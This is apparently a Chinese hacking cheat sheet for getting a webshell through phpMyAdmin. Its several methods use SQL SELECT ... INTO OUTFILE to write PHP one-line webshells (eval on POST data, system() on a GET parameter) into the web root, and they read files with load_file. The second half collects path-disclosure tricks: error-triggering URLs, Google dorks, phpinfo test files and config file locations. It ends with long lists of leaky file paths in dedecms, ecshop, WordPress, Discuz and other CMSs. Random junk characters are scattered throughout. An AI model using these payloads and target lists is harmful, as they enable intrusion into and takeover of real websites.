phpmyadmin后台拿shell

admin

方法一：
4 A" J, v7 o2 P' Q; z& FCREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
# v! J  H0 C7 f! ESELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
) d; k( c9 Q) d- L0 T4 D1 l' u一句话连接密码：xiaoma

方法二：
! |# q& G$ f# [# f5 O, L Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
2 G0 V1 x, a1 d. u1 Z% H( d select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
. l% G/ I; l# A- ? Drop TABLE IF EXISTS xiaoma;
; C: U* W1 w5 j  A
方法三：

  o9 q0 E7 }! M9 p- O读取文件内容：    select load_file('E:/xamp/www/s.php');
: p/ X/ g- }2 L. w) Q
" a8 b& r; m2 U$ X* F" [% z写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
  }: T( k/ m+ B' c8 ~$ d/ ^' T2 o5 F
* x; `; K9 M- o! Bcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
/ m4 G( O  J! b- c0 E

方法四：
select load_file('E:/xamp/www/xiaoma.php');

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir

: U9 T6 a% G( {6 f5 V. r

3 D8 H9 B: Z  B4 \/ F
2 s( q- K& ?9 j2 k
php爆路径方法收集 ：

# a- ^$ S) z8 j) g
, o1 [* r" L+ s
$ `* K, z' Q; k  T8 K/ ?, v! K, Q
1、单引号爆路径
0 Q% e+ n9 G3 I, J$ Q说明：
直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
5 ?" |; f" o' Q6 l- W# @www.xxx.com/news.php?id=149′
. c4 l" a( n' ?- f2 T( b6 _2 y5 Q
. L; [- j" |3 g8 q8 a0 h' ^2、错误参数值爆路径
说明：
; r& i3 ]' v% F将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
# G% v, a" l9 d5 c5 ^2 ?, f+ Nwww.xxx.com/researcharchive.php?id=-1
6 s* W, _# ]% \' ]& Z, E
3、Google爆路径
! G( L# o+ f8 D说明：
: N+ B* x) k3 ]. S' Y1 @结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
- ^+ t& M4 |3 d% hSite:xxx.edu.tw warning
4 |& \; ~+ u4 [' e' l# fSite:xxx.com.tw “fatal error”
# R, P% h/ \' |2 [% {/ m
/ {: ]! _" z. i+ g1 S4、测试文件爆路径
/ I! R; t& S" H3 }说明：
" P% N5 Q5 a2 [/ y# L很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx.com/test.php
5 `) r  d+ m* ~www.xxx.com/ceshi.php
) p4 ~" i! c0 P/ p7 T/ Jwww.xxx.com/info.php
www.xxx.com/phpinfo.php
& C: Y* P, n! G5 Kwww.xxx.com/php_info.php
www.xxx.com/1.php

5、phpmyadmin爆路径
; @# h5 {) I! K- w9 d6 r说明：
2 o: l& e9 K. P' B+ ~' s. F' O5 f) H一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
) @# x; H  ^& S' @! ^7 o* M! Z1. /phpmyadmin/libraries/lect_lang.lib.php
- p2 p" y% j- @$ d* e( o6 K) e2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
1 f+ Y/ Y; o3 }; o7 I5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
5 M0 b# s2 w. @& P) Z
6、配置文件找路径
& p0 \6 r8 L7 ~# V说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
: u/ @' e. d4 E* s& ~$ s
4 g. J0 t) v, U: A7 g, F9 {' n: t3 _# ^Windows:
3 |0 b7 e8 |# w$ x$ {c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

/ q1 R/ c  K1 c* k% l( f5 S* R  @Linux:
' Z1 d+ o. b+ g8 ?6 n. M: I0 P/etc/php.ini                                           php配置文件
/etc/httpd/conf.d/php.conf
5 Z$ N1 g  W2 f7 P9 j, G5 ~7 K5 o/ \/etc/httpd/conf/httpd.conf                             Apache配置文件
8 x, f0 \; m7 Z/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
* q1 \9 b$ z/ e+ B; q% }" H  w3 |/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件
3 k6 G+ L  ~9 g  a
2 P0 K# U; M, K* D! k! C/ m7、nginx文件类型错误解析爆路径
, V2 p+ P& \% G0 `说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
http://www.xxx.com/top.jpg/x.php
4 M: y' M- A6 J5 E8 ]  l. d
8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
, k* ~9 T9 A, q5 uplus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
/ @2 [" U4 O, o% V- Y8 q! z3 xplus/task/dede-maketimehtml.php
0 ~* b) B, U/ b, ~0 y( Kplus/task/dede-optimize-table.php
/ t. s' y; L+ P# |" B% `plus/task/dede-upcache.php

) G/ p) V- L; s- i' vWP
" @' V( ~' r0 B5 ?4 q" Ywp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
! l1 Q; Y/ m* n" U1 x$ A9 u8 z2 A, ]
6 a/ V1 r7 K& ^3 s1 u3 h5 |6 ~ecshop商城系统暴路径漏洞文件
/api/cron.php
1 W* B5 o! F% P: v2 T7 C5 j% j3 ?/wap/goods.php
0 g2 j, s$ [4 }9 v1 m1 n/temp/compiled/ur_here.lbi.php
- o- a9 K% G" }3 i8 S2 }8 r' ~5 g/temp/compiled/pages.lbi.php
5 r' a/ f, M& d1 u) [' `) v0 l/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/ A! c( ?7 O* u# q% I/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
9 p7 m* X) k1 L7 B/temp/compiled/recommend_promotion.lbi.php
6 r5 e- G! q' o6 B/temp/compiled/search.dwt.php
1 o; ~9 g; m$ I6 f  l: p/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
$ Z/ s- a# s: {; q$ R8 v/temp/compiled/promotion_info.lbi.php
6 n- i4 r1 T0 {+ Z) K4 P* o/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
( S1 e$ D" R, X# i( u/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
" z8 w& n2 J' d/temp/compiled/admin/goods_search.htm.php
7 E& Y7 k/ @/ e9 L! J% \5 O" j/temp/compiled/admin/index.htm.php
; |- d% l# C# N0 a& \1 n/temp/compiled/admin/order_list.htm.php
9 ]. K9 G) u% ?8 k/temp/compiled/admin/menu.htm.php
0 V' S" }+ Q0 }# g# f, D% _/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
9 J0 ^+ M6 R7 u/temp/compiled/top10.lbi.php
- p2 ]% F7 j) p/temp/compiled/member_info.lbi.php
5 g$ u2 ~% J1 J; X. B5 N/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
# P3 z  j' u* _# t, m* k/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
2 u0 G/ j& X4 o3 m- T2 N& {/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
1 w8 V2 z0 U7 ]8 b+ R+ `: F/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
3 |  x% R& x/ f% {2 P3 A3 N6 u6 o& j/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
( g; p0 \( p: s6 T) z/includes/modules/cron/ipdel.php

ucenter爆路径
ucenter\control\admin\db.php

DZbbs
1 Q! v3 c3 ^7 t7 ~: e+ Rmanyou/admincp.php?my_suffix=%0A%0DTOBY57

z-blog
1 ^  g0 ?' D! R9 O/ u/ Yadmin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
$ v7 ~4 M" r) R; i% L5 ?; m! |
' K& M$ `" h1 |4 t" w* Sphp168爆路径
admin/inc/hack/count.php?job=list
* I: T% y6 L( Ladmin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt

2 t. U* y1 i6 N1 q# q, }6 M( [, OPHPcms2008-sp4
注册用户登陆后访问
1 Q3 V/ |" m, ?  u6 y( _" w$ F$ A& Kphpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
9 Q# v9 `6 ?0 _' i6 f( D5 G2 A3 klib/mods/celive/menu_top.php
# r% Z4 b% h; c+ L/lib/default/ballot_act.php
lib/default/special_act.php